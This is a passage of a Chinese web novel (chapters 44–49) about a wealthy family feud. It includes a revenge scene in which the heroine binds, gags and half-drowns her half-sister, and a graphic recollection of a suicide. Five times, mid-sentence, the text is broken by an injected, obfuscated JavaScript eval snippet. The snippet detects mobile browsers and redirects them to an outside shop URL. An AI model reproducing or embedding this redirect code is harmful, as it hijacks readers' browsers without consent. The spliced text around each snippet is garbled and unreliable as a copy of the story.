许宁指着自己身上已经坏掉的银色礼服,弯起眼睛笑着:“这件衣服有什么重要的,不过就是件死人的衣物,坏了就坏了,你这样在意,这样大呼小叫又能改变什么结局呢?” “你的母亲死了。” “她死了。” 许宁一遍遍重复,唇角含笑的看着她,像是故意刺激她:“她就死在父亲的生日宴上。” “你那天不在,你根本不知那个场面呢。” “她穿着一件白色的婚纱礼裙,躺在浴缸中,身体内流出的鲜血染红了那一池的水,又美又血腥。” “我甚至现在都还记得那幅场景。” “她的手腕搭在浴缸边缘,还在“滴答滴答”的不停流血呢。” 第44章 故意的? “当时父亲只说了一句话。” 许宁看着许愿,笑吟吟的开口。 “你猜父亲说了什么?” “父亲说,真晦气。” 她“咯咯”的笑着:“他说她的发妻真不懂事啊,怎么选在自己生日宴上自杀呢,要死也该死在其他时间才对。” “对啊,阿姨怎么这么不懂事呢,也不知道挑个黄天吉日去死,还要你这样匆匆的两边跑。” 许愿知道许宁此刻就是故意在激她。 她明白这些,可还是控制不住自己上涌的怒意。 她死死盯着面前唇角含笑得意的许宁,许宁却仍然笑着,脱掉那件银色的礼服丢到她身上。 “你当我会喜欢一件死人的衣服吗?” 许宁从这间房内取出一件最近出的高奢礼服裙,嘲讽道:“我穿那件礼服,不过是想看你发疯,你果然克制不住的发疯了。” 在没人的时候,只面对许愿时,她终于露出自己尖利的爪牙。 “所以,你是故意的?” 许愿轻笑了一声。 “我知道你在激怒我,你想逼我对你动手,然后让傅京礼看到对我彻底失望,然后心疼你不是吗?” “没关系的,我不介意你利用我,我可以满足你。” 许愿走近许宁,在她没反应过来时一把拽住她的长发,将人拽进浴室。 不等许宁发出惨叫,许愿已经用不知从哪里取来的胶带封缠住她的嘴巴。 她惊恐的瞪大眼睛不停挣扎,许愿却将人推进浴缸,用绳子将她的双手绑住。 “这是我母亲曾经居住的房间,她就死在这间房内,这个浴缸中。” 许愿拧开水龙头,冰凉的水凉意刺骨冲遍全身。 冷得许宁浑身止不住的打颤。 不等她再有更多的反应,许愿已经将她的头塞进浴缸中。 “为什么一定要来招惹我?” “许宁,相安无事不好吗。” 许愿开口后却又嗤笑一声:“是啊,我是原配的女儿,你是小三生下的私生女,若是我没有身败名裂,那你永远都无法出头。” “所以你早就准备好针对我了。” 许愿眼神冰冷的看着她,一字一顿开口。 “许镇江也好,傅京礼也好,你都可以去争取抢,但是许家。” 许愿压低声音警告她:“许家是我母亲苏青莲带来的资产创建的,所以你永远不要妄想能够得到许家。” 话落,没有再看许宁一眼,带着已经碎裂的照片和被损坏的礼服裙离开。 独留许宁在冰冷的浴池水中气得发抖。 什么叫许家是她母亲苏青莲带来的资产,她不能妄想? 苏青莲早就死了! 现在许家的当家人是许镇江!谁管苏青莲! 许宁眼底都是怨恨。 许愿推开门,敏锐的闻到烟味儿。 她眉头紧皱,取出口罩戴上。 盛景炎顿了下。 察觉到她的不适,他轻微的叹了口气,灭掉自己手中的烟。 “抱歉,忘记你不喜欢烟味儿。” 许愿看他一眼没说话,选了另一个方向离去。 那方向不会通过楼下宴会厅,不必再看到那群人虚伪的嘴脸。 盛景炎紧紧跟在她身后。 从头到尾,许愿都没有看傅京礼一眼。 仿佛他全然不存在,又或者是她真的不在意了。 傅京礼眸光幽暗的盯着她远去的身影。 他们之间似乎是真的结束了,直到这一刻,傅京礼才真正感觉到许愿离他远去。 他并没有第一时间推开紧闭的房间门,而是走到拐角处的窗户边,这个方向能看到两人相携离去的身影。 他脑海中还隐隐闪过许愿那几句话。 “傅京礼的宠爱,哪怕是傅太太的身份,我可以全都不要!” “要抢,就去抢你的傅京礼。” 这两句话,此刻仿佛是烙印在他脑中。 她不在乎他,那一刻他的内心是愤怒的,是他自己都无法忽视克制的愤怒。 可他们之间已经结束了,她只是前妻,而他只是她的前夫。 他没有立场没有权利去反驳。 相反,这本该是他期望看到的,可现在内心却无比烦躁。 傅京礼眉头紧皱的推开紧闭的房间门,没有看到许宁的身影。 他顿了下,听到“呜呜”的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617998|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺着声响传来的方向看去,却见许宁被绑在浴缸里,整个人都浸泡在冷水中。 傅京礼眉头皱得愈发紧了,他走过去,解开她身上的束缚。 许宁刚被解开,就满腹委屈的扑进傅京礼的怀中。 “阿礼,姐姐怎么能这么对我,我都已经把礼服还给她了,是爸爸要我穿的,为什么要怪我……” 她的脸上划过泪水,可怜兮兮的。 傅京礼拭去她眼角滑落的泪水,声音沉沉的开口。 “你弄坏了她的礼服。” 傅京礼轻飘飘的一句话,却让许宁浑身发毛。 他将她从怀中扯出来,低头看着她:“做错了事,就该受到惩罚不是吗?” 许宁被他此刻严厉薄凉的目光震得说不出话,只能唇瓣抖动仓惶的点头。 傅京礼敛眉:“今天我还有很多工作,替我向你父亲问声好,我就先回傅氏了。” 留下这句话,傅京礼转身离去,并未多看她一眼。 仿佛先前的那些疼惜怜爱,完全不存在一般。 许宁身体发抖的靠在墙边,即便此刻已经看不到傅京礼的身影了,她却还是盯着他离开的方向,恶狠狠的盯着。 都已经这样了,傅京礼都还是对许愿心生怜爱吗? 那就更加不能让傅京礼知道,当年的事是许愿做的…… 她要嫁给傅京礼,要完全顶替许愿的位置,要成为真正的傅太太! …… 回到傅氏,傅京礼才发现手机没电了。 他才刚开机,就看到微信上一串红点,宋野和傅老爷子都发了很多消息。 【老爷子】:今天是阿愿母亲的忌日,你记得陪阿愿去祭拜她母亲。 【老爷子】:傅京礼,你不要告诉我你又忘了她母亲的忌日! 【老爷子】:这种事也要我每年提醒你吗? 【宋野】:阿礼,我今天也打算一起去祭拜苏阿姨,我跟你们一起去? 宋野那边发了一张图,是墓园内摆了红玫瑰和点心的图片。 【宋野】:你跟许愿来过了? 看到这些消息的傅京礼,整个人彻底沉默了。 今天……是许愿母亲的忌日。 第45章 许愿母亲的忌日 今天是许愿母亲的忌日。 他都……做了什么。 记忆像是开始后退慢放,恍恍惚惚的开始播放这三年的记忆。 “傅京礼,再过三天是我母亲的忌日,你能不能陪我一起去祭拜我母亲。” 她的话音还未真正落下,下一秒就被他打断整句话。 “临时有个会议要飞f国,需要什么自己去买。” 他取出黑卡递交到许愿手中,匆忙离开。 许愿微微敛眉,唇角一直带着笑意。 他犹记得在f国还收到了许愿的照片。 【我跟苏女士说,我嫁给了一个非常优秀的人。】 【天真的很蓝,我说到这些的时候,好像都能感觉到苏女士温柔的笑意。】 【傅京礼,如果有机会的话,下次陪我一起来看望苏女士好吗?】 他回的什么? 【再议。】 她仍然是在清明或者苏青莲的忌日时邀请他,每一次都是因为各种事推辞或者拒绝。 因为工作,因为应酬,因为好友之间可有可无的聚会,他一直都在回绝许愿。 男人眸光微暗。 这三年,他没有换过手机。 打开微信和许愿的聊天记录,最近一次的消息记录是他问许愿【在哪】。 他在逼着许愿来参加许镇江的生日宴。 她那时在哪里? 还能在哪里呢? 当然是在墓园祭拜苏青莲。 他眸光沉沉的翻阅前面的记录,每年苏青莲的忌日亦或者清明节许愿都邀请过他。 他毫无疑问的拒绝,她锲而不舍的发送图片,其中还夹杂着一些带去的鲜花图片。 她说苏青莲女士很漂亮,最喜欢红玫瑰,就算是离开也要漂亮的离开。 她说苏青莲女士敢爱敢恨,哪怕在另一个世界也会活得潇洒肆意。 她说苏青莲女士很疼爱她这个唯一的女儿,苏青莲女士做了一件礼服留给她,是一件银色的礼服。总有一天她要站到高处,穿着苏青莲女士亲自送的礼服,让所有人都看到那是属于她们母女的光辉。 银色的礼服…… 银色。 礼服。 傅京礼整个人怔住,他突然意识到今天的不对。 “沈略,去找人查清楚,今天许愿身上穿的那件礼服是谁做的。” 话音才落,沈略想都没想回应:“是苏青莲啊。” 傅京礼猛然抬头。 “你为什么会这么快知道这件事?” “我跟许愿共事三年,那时许愿说去许家要带她母亲做的礼服裙去清洗保养见到的。” “我记得许愿说,那是苏青莲亲自设计剪裁制作的礼服裙,苏青莲还特地穿上试过的,算是她们母女共同的一件礼服裙。” 沈略都知道的事,他却不知道。 不…… 许愿曾分享过给他,是他从不在意罢了。 她说想去参加宴会,他会转账。 她说想去祭拜苏青莲,他会给她黑卡。 她诉说自己对未来的憧憬和寄托,他全然无视,一如往常的转账。 那笔钱她一直没有收,全都退回到他的账户。 三年时间。 许愿从没有收到过他任何一份礼物,而她却用进入傅氏后第一笔合作得到的奖金,为他买了那辆卡宴。 跟他结婚,她究竟是幸还是不幸? 傅京礼沉默许久,久久未言语。 今天在许家宴会上,许宁穿着那身礼服出现,许愿为什么这么激动的原因找到了。 他说了什么? 他让许愿别再发疯。 他是怎么能说出这种无情且残忍的话来伤害她。 男人眸光幽暗:“去联系业内最优秀的设计师,重新做一件一模一样的礼服裙。” 傅京礼将很久前许愿分享给他的银色礼服的图片,转给了沈略。 沈略什么都没说,转身离开。 傅京礼看着他匆忙的身影,眸光微微闪烁。 …… 许愿上了盛景炎的车。 下一秒,她取出手机拨了个号码:“薛酒,接收下我发给你的文件资料,做个专门针对许氏的策划。接下来三个月,我不准许氏接到任何合作邀约。” 她眼睛发红,相貌精致明艳,但开口的话却透着彻骨的寒意。 薛酒,盛华总公司的总监,盛华的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617999|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶梁柱之一。 “我早就说要你针对许氏了,你都没下狠手,怎么这次这么狠?许家又让你受气了?” 薛酒声音懒洋洋的,但了解他的人,能明显听出来几分冷意。 许愿此刻已经冷静下来,声音沉沉。 “她毁了我母亲送给我的礼服,毁了我和她唯一的合照。” “许镇江这个父亲我从不在乎,她可以随意对待。抢走也好,报复也好,我都不会管。” “傅京礼是我的丈夫,但他不爱我,我们本就不会有未来,不属于我的东西抢走了也是我的命。” “但是我母亲的东西不一样,那是我的……任何人毁坏她都要付出代价。” 薛酒冷笑:“放心,这件事交给我去 做,我一定让许家在a市寸步难行,哪怕是傅氏给许氏喂资源,我也会让许氏全都吐出来,或者赔进去。” 许愿交代完一切挂断电话,此刻靠在车椅上,眼眸微闭。 她抬手揉捏着太阳穴,此刻才算是终于泄气能够休息片刻。 “薛酒,盛华最重要的顶梁柱之一,盛华总部的总监,他这么轻易的听从你的调遣……”盛景炎眸光微微闪烁。 “许愿,你究竟是什么身份?” “或者说,你瞒了多少人。” 盛景炎慢条斯理的取过一旁储藏格的医药箱,取出伤药和绷带。 他握住许愿的手很轻微的揉捏了下,她面无表情的看着盛景炎,盛景炎对着她笑。 沾满了酒精消毒水的药棉在伤处滚落划过,直到此刻掌心才终于传来尖锐的火辣辣的疼痛感。 很疼。 却抵不过此刻的心痛。 “你刻意接近,我难道不是因为发现了我的秘密吗?” 许愿掀眉看他,开口时声音都明显透着冷意。 “若非我的身份,你怎么会仅凭我这张脸,追求我这个离过婚的女人。” 盛景炎从来都不是个好人。 他做任何事,都会提前思考自己能得到多少利益。 这次,他一定早就知道真相了。 “别总是这么想我。” 盛景炎笑得有些无辜:“毕竟我这次,真的什么都不知道。” 第46章 不单纯 许愿。 明面上是小家族许家的嫡女,毕业于a市a大,极好全科满分的天才,但私下却是此刻新兴企业盛华真正的幕后掌舵人。 她这样的身份这样的出身,怎么不配他追求呢? 这样的人,就该跟他在一起。 他们的出身也好,背景也好,性格也好,都说明了他们之间才是天造地设的一对。 盛景炎当初也确实不知道许愿这层身份。 如果早知道是这样的身份,他会更认真的对待许愿。 他以为许愿最多是有自己的产业,却没想到会是那个飞速发展的新兴企业【盛华】。 盛景炎问道:“为什么叫盛华。” 这样的名字,谁能想到会跟许愿有关联? 许愿平淡的回应:“盛,兴盛的意思,华,我们是华国,希望华国兴盛,这不是很明显吗?” 就是太明显了,才没想到许愿会起这么个公司名字。 “那我们还真是有缘,你连公司名字都是姓盛的,我们怎么会无缘呢。” 他以往讨厌跟盛家人同姓,现在才发现这个姓倒也不错。 许愿瞥他一眼,靠在车椅上休息假寐。 盛景炎知道她现在没心情说话,笑着摇了摇头为她包扎手上的伤口。 “下次不要再因为激动伤害自己,你的手这么漂亮,怎么能留下这样的伤痕呢。” 许愿没有说话。 盛景炎自己也不觉得无聊,包扎好后才再度凑近许愿。 “闭好眼睛,你额头上也有一条小口,我帮你消毒擦药。” 许愿身体似乎是很轻微的颤了下,似乎是想到是谁推的她。 她只觉伤口的痛意愈发明显。 睁开眼眸,她望着面前的盛景炎,对方还是那副云淡风轻带笑的模样。 以往母亲忌日,都会是她自己祭拜,而她今天遇到了盛景炎。 甚至在她最失意的时候,陪在身边的也是他。 纵然知道盛景炎这人唯利是图,可他此刻已经是盛家的继承人,却还是一直跟在她身边。 似乎已经够了。 “全息有关的资料整理好做好策划案后,重新发给我,盛华可能对这次的合作有意。” 盛景炎脸上的笑意都淡了几分。 她头上已经贴好纱布,此刻眼睛发红,唇色很淡,整个人带着几分病弱感。 可就是这样的病美人,却总能说出最刺人的话。 “我以为我们已经算是朋友,我这次帮你,并不只是为了利益。” 盛景炎知道自己是个不见东西不撒鹰的混账,但被许愿这么明显的指出来,心里多少有点不舒服。 “朋友或许还算不上,就算真的是朋友,有些事也要算清楚的。” “你帮了我,我给你合作的机会,这是我做人的原则。” 她说得这样好听,其实只是为了和盛景炎划清界限。 在她心里,盛景炎就只是最近接触频繁的陌生人。 她不够了解盛景炎,也不能完全相信盛景炎。 “研究全息需要投入的金额太过庞大,这才是你最初找我合作的原因,盛华的资金流还算充裕,其内也不缺研究人员,有盛华的加盟,你的压力会变小很多。” 她说得清清楚楚明明白白,跟盛景炎彻底断开联系。 倏地,他被气笑了一般哈了一声。 “挺好的,帮个小忙还能有这好处,希望许总以后有这好事还要多想着我了。” 许愿冷淡的看向他:“那要看盛总能给我提供多少价值。” 还真是分得清清楚楚明明白白。 盛景炎此刻不说话了,就这么定定的看着许愿几秒,良久后才开口。 “许愿,你不能因为在傅京礼那里受到伤害,就如此防备我。” 许愿望着他,掀唇笑了。 “你最开始的目的就不单纯,不是吗?” 最开始的目的就不单纯,又凭什么要求她真心以对。 许愿很清楚这些。 最开始的目的不纯,又凭什么确定这个人值得深交? 她已经在傅京礼身上栽过跟头,不会蠢到这么快就栽到另一个人的坑里。 …… 蓝调酒吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618000|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 蓝调是宋野开在a市的酒吧,多是上流圈层最爱来的夜店酒吧。 包厢内,宋野震惊的叫出声:“什么啊!你说今天不是你陪着许愿去祭拜苏女士的!陪在许愿身边的,是盛景炎!” “傅京礼,你到底行不行啊!盛景炎这小子才跟许愿接触几次,就要后来者居上了!我都要瞧不起你了!” 盛景炎抬眸扫他一眼,并未回话。 江惊蛰没有喝酒,倒了杯茶水喝了口这才开口:“虽然你已经跟许愿离婚,但是这样不闻不问是不是有些过分?毕竟你还需要许愿跟你一起在爷爷面前演戏不是吗。” 又不是完全不需要许愿了,为什么不能小心谨慎些? “就是,老爷子那么喜欢许愿,你现在又不能公开你和许愿离婚的消息,又要利用许愿哄老爷子开心,却也不愿意陪她去祭拜苏女士,太过了点。” 宋野作为两个人 共同的朋友,当然清楚两人的婚姻状况。 大概就只是相敬如宾,没有更多的感情。 宋野边说着边翻看着微信八卦,不知道看到了什么,脸色微微一变。 再看向傅京礼时眼神中都透着几分古怪。 “你没有陪许愿去祭拜苏女士,却去许家参加了许镇江的生日宴?” 傅京礼顿了下看向宋野,询问的意思很明显。 他是怎么知道的? 宋野欲言又止,最终还是举起手机好让傅京礼看清楚手机上的内容。 是许镇江特意发了条朋友圈宣传,大肆宣扬傅京礼来参加他的生日晚宴,甚至在评论区模棱两可的说傅京礼与许宁的关系。 此刻这条微博已经冲上热搜,已经有不少人都在说许镇江会是傅京礼的未来岳父了。 其实这话说对了一半,许镇江的确曾经是傅京礼的岳父。 只是那时的对象是许愿,现在对象是许宁。 傅京礼眸光愈发冷了,他拨通宣传部经理的号码,声音沉冷:“将许镇江发的微博热搜撤下去,把度假村相关的热搜抬上去。” 他可以给许家便利,但绝不允许许镇江轻易利用他。 第47章 接个人 “傅京礼,你未免太狠了。” 江惊蛰已经看不下去的开口。 “你可以因为工作出差不能陪她祭拜苏女士,但你不能……在今天去参加许镇江的生日宴,你这样就像是在她心口戳刀子。” 江惊蛰语气中都带着明显的冷意。 傅京礼眸光微沉,宋野在一旁叹了口气。 “我要是许愿,我都要恨死你了。” “许镇江那个渣人在结婚期间就出轨有了许宁,苏青莲也不知道是不是在许镇江生日当天被逼死的。你倒好,不仅为了许宁这个私生女跟许愿离婚,还要在她母亲忌日当天,去参加许镇江的生日宴。” 宋野叹了口气。 他想在这时候联系许愿,却又担心伤到她,只能压下内心的躁动。 傅京礼眸光幽暗,却并未在此刻开口只是倒了酒一杯杯的喝着。 江惊蛰见他这情绪不太对,虽然知道他有些事做得不对,但到底是一起长大关系很好的兄弟,还是开口问道:“到底发生了什么事。” 傅京礼喉间微微发堵。 “我不清楚今天是苏青莲的忌日。” 江惊蛰已经感觉到不对了,下一秒就听到傅京礼开口。 “我逼她去参加许镇江的生日宴,亲眼见到许宁穿上她母亲亲手做的礼服,那件礼服已经被许宁损坏了。” 江惊蛰惊到说不出一句话,宋野都被气笑了。 “好好好,傅京礼你有种。” “为了讨好现任,逼着自己前妻在母亲忌日的时候去参加渣男父亲的生日晚宴,到底是你疯了还是我疯了?” “就算你不喜欢许愿,但也不该这么作践她。” “她跟你婚后三年,到底有什么地方对不起你?” 宋野是两个人共同的好友,此刻已经气到险些语无伦次了。 傅京礼没再开口,只是不停的倒酒。 一杯杯烈酒入喉,脑海中却还是不停闪过许愿那张本该明艳的面容,却露出虚弱到几乎心碎的表情。 恍惚间,仿佛还能听到许愿说。 “傅京礼,我闹过吗。” 她没闹过,错的不是许愿,是他。 已经临近深夜,男人此刻喝得烂醉,瘫倒在沙发上浑身酒气。 那双本该幽暗深邃的黑眸,都透着明显的迷离醉意。 宋野头疼的捏了捏眉心。 “这都是什么事啊。” “好端端的老婆不要,非要挑许宁那从头到脚都上不得台的女人。” “如果不是许宁,也不会有这么多事。” 江惊蛰平静的喝茶,开口反驳:“许宁可恨,但阿礼并不无辜。” 这宋野也清楚。 “现在怎么办?送阿礼回公寓?如果送他回老宅老爷子又要念了。” 宋野头更疼了。 “若是往日,我还能给许愿打电话,让许愿照顾他,现在……我可没这个脸。” 话音才落,傅老爷子的微信视频电话打过来。 两人都还未反应过来,傅京礼就已经接通了。 江惊蛰和宋野眼皮直跳。 傅京礼这状况可不是能接老爷子电话的样子,别再说漏什么! 可来不及阻止了。 老爷子浑厚的声音在包厢内传来。 “今晚你跟阿愿不回老宅吃饭了?也是奇怪,往日阿愿在今天都要回老宅呢,现在你小子在国内就被你拐跑了。” 宋野真是听得心惊胆战。 许愿哪里是为了傅京礼不肯去老宅啊,那分明是因为两人离婚了不好再去老宅! 傅京礼醉眼朦胧的,好半晌才开口。 “她走了。” “什么走了?阿愿走了?阿愿去哪里了?” 傅老爷子三连问,问得宋野浑身冒冷汗,赶紧手忙脚乱的把手机从傅京礼手中抢过来。 “哈哈。” 他干笑两声:“就是阿礼跟许愿两人吵架了,阿礼自尊心强又不愿意道歉,所以来我这边喝酒了,许愿就出去散心了。爷爷,没什么大事的,等明天他们就和好如初了。” 傅老爷子皱眉:“我就知道是你小子带他喝酒。” 天地良心啊! 他什么时候带傅京礼喝酒了! 明明就是傅京礼自己做错了事打算借酒浇愁,才来这里灌酒的啊! 宋野委屈得不行,但是又没办法解释,只能认了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618001|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “爷爷,您别担心,阿礼醒酒后就回公寓了,不是什么大事。” “什么不是大事!今天是阿愿母亲的忌日!这小子不知道苏青莲的忌日!还要我这个老爷子提醒!阿愿能不生气吗!” 傅老爷子看起来是真心疼许愿。 “不行,我现在就过去!”傅老爷子雷厉风行的,一直都是说风就是雨。 这话刚说完,宋野就头皮发麻,真担心老爷子来蓝调。 “爷爷!我想起来了!阿愿就在我们这边的!我稍后就让阿愿来接阿礼回公寓!您别担心了!” 宋野说完,就装模作样的“喂喂”了几声,然后摁灭了通话。 他满头大汗,长舒一口气。 然后瞪了一旁醉酒的傅京礼 一眼。 “怎么办啊江惊蛰。” 宋野开始场外求助。 江惊蛰摇晃了下茶杯,完全不理。 宋野气得直哼哼,哪里有半点宋家少爷的骄矜了。 他叹了口气,实在是没办法了,只能给许愿打了电话过去。 那头应该是在工作,几乎是秒接。 “有什么事。” 宋野干笑一声。 “你有没有时间来一趟蓝调,那个……接个人?” 宋野这语气这情绪,明显就不对。 许愿淡淡拒绝:“如果是去接傅京礼,那我拒绝。” “我们已经离婚了,我跟傅京礼之间没有什么更多的羁绊关联,你联系我不如联系许宁,我想傅京礼更希望她的新爱人去接他。” 说完,她就要挂断电话。 宋野着急开口。 “别啊!” “是爷爷刚才打了电话!” “爷爷说是阿礼惹你生气了,要来接你们回家,我是真怕醉酒的阿礼说错话让老爷子知道真相。” 宋野试探的开口:“许愿,别的不说,老爷子对你一直都很好,你就算不为阿礼,为了老爷子也来接他一次吧。” 许愿捏紧手机,笑容带着几分苦涩,像是在问宋野,又像是在问自己。 “我们已经离婚了,难道我跟他要一辈子因为爷爷捆绑在一起吗。” 第48章 醉酒 许愿以前是很希望自己能够跟傅京礼捆绑的。 可是现在,和傅京礼捆绑到一起,只会让她自己受到伤害。 看到傅京礼,她就会不受控制的想到今天所发生的事情。 她不想……也不能接受这一切。 她是个活生生的会笑会痛的人,被傅京礼如此对待,怎么可能短短时间内就能恢复好,然后再度恢复平静的面对他? “宋野,我难道就不可以任性吗。” 她苦笑了一声,才缓慢开口。 这句话,让宋野一时哑口无言。 是啊。 许愿为什么就不能任性呢? 她不过是曾经跟傅京礼缔结婚姻成为夫妻。 但是他们都已经离婚了,为什么还要一次次的为了伤害过她自己的男人低头? “许愿,你当然可以任性,只是阿礼现在烂醉,我只是担心爷爷来了后,阿礼说出点什么不该说的。” “爷爷现在看着身体硬朗,但以前也因为受过刺激住院,他年纪大了,我是担心出什么意外。” 宋野当然清楚许愿是无辜的,且今天发生这么多的事情,傅京礼喝醉凭什么还要许愿来夜店接人? 他都已经那样对待她了,凭什么她还要处处为他考虑呢? 话虽如此,但宋野权衡利弊,还是话语中带着几分请求的开口。 “许愿,你帮帮他。” 作为两人共同的好友,宋野的确是最适合开这个口的人。 许愿敛了下眉,唇角的笑意愈发苦涩。 “你说了这么多,我再拒绝,好像我就真的变成了铁石心肠的人。” “把定位和房间号发我,我会过去的。” 挂断电话,许愿换上衣服准备出门。 只是手拿起包时,她的掌心明显传来尖锐的疼痛感。 隐隐作痛的额角,也在提醒着她今天曾发生过什么。 她眸光黯淡了几分,拿起墙壁衣架上挂着的一件黑色外套匆匆进了电梯。 已经是深夜,许愿赶到蓝调的时候,已经是凌晨了。 虽然已经凌晨,但蓝调这条街上却仍然灯火通明。 附近就是几家酒店和各类游戏场所,此刻都还开着门,就连开在这里的商场都还有人这个时间点去光顾。 许愿随意的扫了眼,并未放在心上。 人才下车,就已经有工作人员迎上来。 看来是宋野担心她晚上出事被人骚扰,特地派人来接应的。 “许小姐,宋总让我们带您上去。” 许愿微微点头,跟随其后。 包厢房间在顶层,才推门而入,就被包厢内浓重的酒气熏的反胃。 她克制不住的觉得小腹都传来呕意,有些想吐。 她忍不住皱起眉头。 宋野看到她出现,整个人提起的心都落下了。 宋野站起身迎过来:“你可算来了,这段时间我总在担心傅爷爷会过来呢。” 许愿勉强的扯了下唇。 房间内灯光昏暗,红红绿绿的灯光让人看不清彼此的面容。 直至此刻离得近了,宋野才终于看到许愿那张精致明艳的脸上多了包裹遮掩伤口的纱布。 他动作明显顿住,语气认真:“你受伤了?什么时候的事?” 他目光落在许愿额头的伤口处。 这道伤口摆明了还新鲜着,像是今天的,纱布都还是新换上的。 仔细看许愿的脸,能明显感觉到苍白中透露着虚弱。 当然会虚弱。 任谁在自己母亲的忌日当天被人欺辱,脸色都不会好看。 更何况,许愿还是被前夫与小三一起联手针对她自己,她所受的伤害自然更多。 “自己撞的,不必在意。” 许愿勉强的扯了下唇,像是转移注意力一般。 宋野被这话堵住,目光却还是不停的落在许愿的脸上。 他明显感觉到许愿在躲闪,似乎不愿继续提这件事,这伤口像是今天才有的一样。 宋野有些揪心,想让她安抚傅京礼的话堵在嘴边,也说不处理了。 她一直捂着小腹,步履缓慢的走过去。 江惊蛰敏锐的感觉到不对,他将不久前才叫人端上来的热果汁推至桌沿,这是他为许愿准备的。 他知道许愿怀孕了,闻不得这么重的酒味儿。 喝点果汁饮料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618002|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也好清清口,不要被过重的酒味儿熏到才好。 “谢谢。” 许愿道了谢,这时目光才终于落在傅京礼的脸上。 他人隐在阴影中,座位一旁的桌上摆满了空酒瓶,有红酒有啤酒。 好在这男人并不是多喜欢白酒,不然今晚喝这么多,怕是要胃出血了。 她看着面前的男人,缓缓开口。 “傅京礼,你还清醒吗?如果还清醒就回应我两句。” 他似乎是真的喝了太多,只是缓缓的睁开醉眼,似乎已经不能分辨面前的人是谁,又好像知道面前的人是谁一般。 那双醉眼带着几分朦胧的茫然,似乎是探寻了片刻,大掌抓住她的手。 许愿的掌心都是被碎片割划出的伤口,她疼得 不由皱眉。 她并未主动收回自己的手,而是目光落在男人脸上,四目相对,缓缓开口。 “傅京礼,我受伤了,你不知道吗。” 她声音很轻很慢,似乎只有距离他如此近的傅京礼才能听到。 包厢内的音乐早就被关停了。 男人顿了下松开了紧握她的手,那双黑眸中的醉意似乎消散了几分,带着低沉哑意的声音开口。 “阿愿。” 他叫她阿愿。 许愿怔住了。 她看着面前已经喝醉的男人,听到男人用几乎是温柔多情的声音唤她阿愿。 他什么时候叫过她这个名字呢? 过去三年时间,两人哪怕是在暧昧期间,傅京礼都不曾这样唤过她。 他从来都是连名带姓的叫她。 可现在他们都已经离婚了,男人却叫她阿愿。 许愿都有些想笑,笑着笑着眼睛愈发红了。 她低头俯身,就这样看着面前的男人,开口:“傅京礼,我们已经离婚了,所以别这么叫我。” “离婚”两哥字,好像就是什么开关。 男人整个人似乎也怔住了。 他抬起头看着面前的女人,久久未言语。 包厢内的所有人,好像都是沉默的安静的。 直到包厢内传来傅老爷子浑厚的声音,众人才终于重新回过神来。 第49章 不要再继续 是傅老爷子来了。 所有人都清楚这一点,许愿也清楚。 她微微敛眉,这次主动的坐在傅京礼身边,手握住男人的手,像是两人依偎在一起。 任谁看到这一幕,都会认为两人是一对恩爱的夫妻。 可谁能想到,一切都是演出来的呢。 傅老爷子推开门就看到角落这一幕,明显愣了下。 宋野赶紧凑过去,笑眯眯的把人迎进来。 “爷爷,您怎么还真的来了,我都说过您不用担心阿礼的,许愿就在附近呢,她可比您要担心阿礼。” 宋野说道:“本来就是小夫妻之间闹了点矛盾,没什么大事的。” 傅老爷子听进去了,也不知道信没信。 